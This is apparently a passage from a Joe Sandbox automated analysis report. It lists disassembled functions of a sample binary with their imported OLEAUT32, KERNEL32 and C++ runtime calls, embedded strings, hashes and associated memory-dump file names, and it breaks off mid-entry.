Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Variant$ClearInit
String ID:
API String ID: 2610073882-0
Opcode ID: 637bd9b895f03f4b76466acecd247e55f80459ff33518000948936d112edb26d
Instruction ID: 7935bbcf9a27fd0addaa97e8e3180363aff094a5d8a265c454888aadcf71881c
Opcode Fuzzy Hash: 637bd9b895f03f4b76466acecd247e55f80459ff33518000948936d112edb26d
Instruction Fuzzy Hash: 61C146716087119FC300DF69C880A5BB7EAFFC9708F248A4DE5949BB65D731E845CB92

Function 6CF69D00 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 326COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6CF69DEB
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6CF69DFB
SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6CF69E29
SafeArrayDestroy.OLEAUT32(?), ref: 6CF69F25
VariantClear.OLEAUT32(?), ref: 6CF69FE5

Strings

@, xrefs: 6CF69DD7

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArraySafe$Bound$ClearDestroyElementVariant
String ID: @
API String ID: 3214203402-2766056989
Opcode ID: 26a27b3fdfc39843e977758d54e012596941cf4790fb1f3d93806c2c55a6bb8e
Instruction ID: 5fdeeabd9a801bab26a0e6dc4a335848f74daa2e267c3e2c84aa06609058b01b
Opcode Fuzzy Hash: 26a27b3fdfc39843e977758d54e012596941cf4790fb1f3d93806c2c55a6bb8e
Instruction Fuzzy Hash: E9D17B71E00249DFDB00DFA9C980A9DBBB5FF48308F25816DE515ABB54DB31AA45CF90

Function 6CF6B300 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 326COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6CF6B3EB
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6CF6B3FB
SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6CF6B429
SafeArrayDestroy.OLEAUT32(?), ref: 6CF6B525
VariantClear.OLEAUT32(?), ref: 6CF6B5E5

Strings

@, xrefs: 6CF6B3D7

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArraySafe$Bound$ClearDestroyElementVariant
String ID: @
API String ID: 3214203402-2766056989
Opcode ID: ebaf7a38d06023090003f3be6c50faff72d4ce0aa64ac3f376e355d9d400a994
Instruction ID: 6a2393f7ef71b4771e30f6d1ad4bde9d182a5d55ade48d564a1d8ede930c3e6e
Opcode Fuzzy Hash: ebaf7a38d06023090003f3be6c50faff72d4ce0aa64ac3f376e355d9d400a994
Instruction Fuzzy Hash: 18D16971E002498FDB00DFA9C884AADBBB5FF48308F24859DE515ABB54D731AE46DF90

Function 6CF91580 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 277COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 6CF916B2

Part of subcall function 6CFBAC75: RaiseException.KERNEL32(?,?,6CFB9C34,CA0C7769,?,?,?,?,6CFB9C34,CA0C7769,6CFE9C90,6CFFB974,CA0C7769), ref: 6CFBACB7

__CxxThrowException@8.LIBCMT ref: 6CF9180A

Part of subcall function 6CF54010: std::_Xinvalid_argument.LIBCPMT ref: 6CF5402A

Strings

: this key is too short to encrypt any messages, xrefs: 6CF9162A
for this public key, xrefs: 6CF91771
: message length of , xrefs: 6CF9170D
exceeds the maximum of , xrefs: 6CF9173F

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaiseXinvalid_argumentstd::_
String ID: exceeds the maximum of $ for this public key$: message length of $: this key is too short to encrypt any messages
API String ID: 3807434085-412673420
Opcode ID: 3d0a681c0ebce0c64c1f16f72cc01a6169d65fa3605b1ce1a3394dddc67eceda
Instruction ID: 31ea7edf8cfe318ca0e43551451c6b0be36ecb94b8fbacac22416a1d72883489
Opcode Fuzzy Hash: 3d0a681c0ebce0c64c1f16f72cc01a6169d65fa3605b1ce1a3394dddc67eceda
Instruction Fuzzy Hash: E3B14A716083809FD320DB69C880BDBBBE9AFD9304F05891DE59D87751DB71A909CBA3

Function 6CFB1250 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 129COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6CFB126E

Part of subcall function 6CFB90D8: std::exception::exception.LIBCMT ref: 6CFB90ED
Part of subcall function 6CFB90D8: __CxxThrowException@8.LIBCMT ref: 6CFB9102
Part of subcall function 6CFB90D8: std::exception::exception.LIBCMT ref: 6CFB9113

_memmove.LIBCMT ref: 6CFB12E0
_memmove.LIBCMT ref: 6CFB1305
_memmove.LIBCMT ref: 6CFB1342
_memmove.LIBCMT ref: 6CFB135F

Strings

deque<T> too long, xrefs: 6CFB1269

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: _memmove$std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: deque<T> too long
API String ID: 4034224661-309773918
Opcode ID: 962e1fea95a70b6b3627ed57c310512fce263e4e3ff5447cdc272b0ed77cd641
Instruction ID: 5f27665e47a9c51b0d4b8ccde68ad62529ec63e7f05167a176f9119725f3f6f6
Opcode Fuzzy Hash: 962e1fea95a70b6b3627ed57c310512fce263e4e3ff5447cdc272b0ed77cd641
Instruction Fuzzy Hash: FC41C172A042059BD704CE29DC91A6BB7E6EFD4214F1DC62CE849E7B44FB34ED0986A1

Function 6CFB13A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 129COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6CFB13BE

Part of subcall function 6CFB90D8: std::exception::exception.LIBCMT ref: 6CFB90ED
Part of subcall function 6CFB90D8: __CxxThrowException@8.LIBCMT ref: 6CFB9102
Part of subcall function 6CFB90D8: std::exception::exception.LIBCMT ref: 6CFB9113

_memmove.LIBCMT ref: 6CFB1431
_memmove.LIBCMT ref: 6CFB1456
_memmove.LIBCMT ref: 6CFB1493
_memmove.LIBCMT ref: 6CFB14B0

Strings

deque<T> too long, xrefs: 6CFB13B9

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: _memmove$std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: deque<T> too long
API String ID: 4034224661-309773918
Opcode ID: 647c138c9deaee9f4ce4c90310f82d79a959a358c67d00b89a40b8d21e27d412
Instruction ID: 2ff317c3fb296de5275b4a3123c366415e45373c6c2a5255d3aee9325845a327
Opcode Fuzzy Hash: 647c138c9deaee9f4ce4c90310f82d79a959a358c67d00b89a40b8d21e27d412
Instruction Fuzzy Hash: 4841D372A042058BC704CE29DC9196BB7E6EFD4214F1DC62DE84AE7B44FB74ED0987A1

Function 6CF54D90 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 100COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6CF54DA9

Part of subcall function 6CFB9125: std::exception::exception.LIBCMT ref: 6CFB913A
Part of subcall function 6CFB9125: __CxxThrowException@8.LIBCMT ref: 6CFB914F
Part of subcall function 6CFB9125: std::exception::exception.LIBCMT ref: 6CFB9160

std::_Xinvalid_argument.LIBCPMT ref: 6CF54DCA
std::_Xinvalid_argument.LIBCPMT ref: 6CF54DE5
_memmove.LIBCMT ref: 6CF54E4D

Strings

string too long, xrefs: 6CF54DC5, 6CF54DE0
invalid string position, xrefs: 6CF54DA4

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$std::exception::exception$Exception@8Throw_memmove
String ID: invalid string position$string too long
API String ID: 443534600-4289949731
Opcode ID: e07ea42919a0719cc9e870b3dc3320ee459d9aa9b6e4789b8c5a273a1cf78fdc
Instruction ID: e51328dffb701d91e86241a136f0c2103c2b2fcf260ec4528d87495f1b793868
Opcode Fuzzy Hash: e07ea42919a0719cc9e870b3dc3320ee459d9aa9b6e4789b8c5a273a1cf78fdc
Instruction Fuzzy Hash: 0231EA323042108FD3248F6CE880B9AFBE5AFA0365B50462EE651CBB40C771D9608791

Function 6CFC44E9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 6CFC4532
DName::operator+.LIBCMT ref: 6CFC4539
DName::DName.LIBCMT ref: 6CFC455B
DName::operator+.LIBCMT ref: 6CFC4562
DName::operator+.LIBCMT ref: 6CFC4569

Strings

throw(, xrefs: 6CFC452A, 6CFC4553

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Name::operator+$NameName::
String ID: throw(
API String ID: 168861036-3159766648
Opcode ID: cfb8b833935199dba66e0ce8f3a352d804db5a06459c8949ced7140d283abdff
Instruction ID: 31a6c9929a902de0638236eb7a9576fa1caba09425a64322e1df5516d5c070b8
Opcode Fuzzy Hash: cfb8b833935199dba66e0ce8f3a352d804db5a06459c8949ced7140d283abdff
Instruction Fuzzy Hash: E4019EB4B0010AAFCF04DBA4C881EFF7BB9EB84748F054555E9019B794DB70EA4A8B91

Function 6CFBE9B9 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,6CFE9880,00000008,6CFBEAC1,00000000,00000000,?,?,6CFBD7DD,6CFB9DEF,00000000,?,6CFB9BD4,6CF51290,CA0C7769), ref: 6CFBE9CA
__lock.LIBCMT ref: 6CFBE9FE

Part of subcall function 6CFC2438: __mtinitlocknum.LIBCMT ref: 6CFC244E
Part of subcall function 6CFC2438: __amsg_exit.LIBCMT ref: 6CFC245A
Part of subcall function 6CFC2438: EnterCriticalSection.KERNEL32(6CFB9BD4,6CFB9BD4,?,6CFBEA03,0000000D), ref: 6CFC2462

InterlockedIncrement.KERNEL32(FFFFFEF5), ref: 6CFBEA0B
__lock.LIBCMT ref: 6CFBEA1F
___addlocaleref.LIBCMT ref: 6CFBEA3D

Strings

KERNEL32.DLL, xrefs: 6CFBE9C5

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID: KERNEL32.DLL
API String ID: 637971194-2576044830
Opcode ID: ab717393c758dcf68dfe3eb945e20f73c56e2bdd1236966dcf919a4179b89b0c
Instruction ID: aec3621169fa7626ad4ea7a80c626485595384a4f49ba0f452f4946703d205f0
Opcode Fuzzy Hash: ab717393c758dcf68dfe3eb945e20f73c56e2bdd1236966dcf919a4179b89b0c
Instruction Fuzzy Hash: C201C0B1900B00DFD7209F66C90438AFBF4FF41328F10890DD49AA3BA0CB74AA04CB21

Function 6CF6E120 Relevance: 9.4, APIs: 6, Instructions: 364COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(00000000,?,?), ref: 6CF6E29B
SafeArrayGetUBound.OLEAUT32(00000000,?,?), ref: 6CF6E2B6
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 6CF6E2D7

Part of subcall function 6CF75760: std::tr1::_Xweak.LIBCPMT ref: 6CF75769

SafeArrayUnaccessData.OLEAUT32(00000000), ref: 6CF6E309

Part of subcall function 6CFB9BB5: _malloc.LIBCMT ref: 6CFB9BCF

SafeArrayDestroy.OLEAUT32(00000000), ref: 6CF6E523
InterlockedCompareExchange.KERNEL32(6CFFC6A4,45524548,4B4F4F4C), ref: 6CF6E544

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArraySafe$BoundData$AccessCompareDestroyExchangeInterlockedUnaccessXweak_mallocstd::tr1::_
String ID:
API String ID: 2722669376-0
Opcode ID: 8bdbef748db3467f6b0440b594b2a7e6bfb7df862d720354e4f2898be6c53d84
Instruction ID: aa8c613b520f4c9940c0ecbee9f1c39d33081160d4f0a6db677c555a8189e15d
Opcode Fuzzy Hash: 8bdbef748db3467f6b0440b594b2a7e6bfb7df862d720354e4f2898be6c53d84
Instruction Fuzzy Hash: 0CD1AEB2A002059FDB10CFA6CC84BDE77B8EF45308F148569E945EBB81E775ED448BA1

Function 6CF78A9A Relevance: 9.1, APIs: 6, Instructions: 130COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEBF

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 175c973b71dd70846995552a3fc570325724cfe895919fdb0b34ff42df3106fb
Instruction ID: 95bafb1750b3baf6cc4919c23cb1650915d6938de2dcd627d7446994391ad4e5
Opcode Fuzzy Hash: 175c973b71dd70846995552a3fc570325724cfe895919fdb0b34ff42df3106fb
Instruction Fuzzy Hash: 9F414D74A016149FDB10DFA9C980E5EB7F9AF89304F20858AE509EB755DB31E841CF60

Function 6CF78DE8 Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEBF

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: ceecc19308b6b0c9967eb93d9b3922da8c84103021bc49fd8327e29902cd4d08
Instruction ID: 1bacf9939532a16714b19598363aeb18c2f7e42e732c0bbd82452b2b42e8cf18
Opcode Fuzzy Hash: ceecc19308b6b0c9967eb93d9b3922da8c84103021bc49fd8327e29902cd4d08
Instruction Fuzzy Hash: 10415B70A016189FDB10CFA9DC80F9EB7F9AF89204F21859AE518EB751DB31E940CF60

Function 6CF70338 Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF723B3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723C3
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723D6
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723E9
SafeArrayDestroy.OLEAUT32(?), ref: 6CF723FC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7240F

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: ceecc19308b6b0c9967eb93d9b3922da8c84103021bc49fd8327e29902cd4d08
Instruction ID: 0d7f82f6d54a484188aa1e721a52fd81c655b9961e23a04757d38b1d20f696e6
Opcode Fuzzy Hash: ceecc19308b6b0c9967eb93d9b3922da8c84103021bc49fd8327e29902cd4d08
Instruction Fuzzy Hash: 29413BB0A01608DFCB50CF69DC84B9EB7B9AF89204F24859AE518E7651CB72E941CF60

Function 6CF78CE7 Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEBF

Memory Dump Source

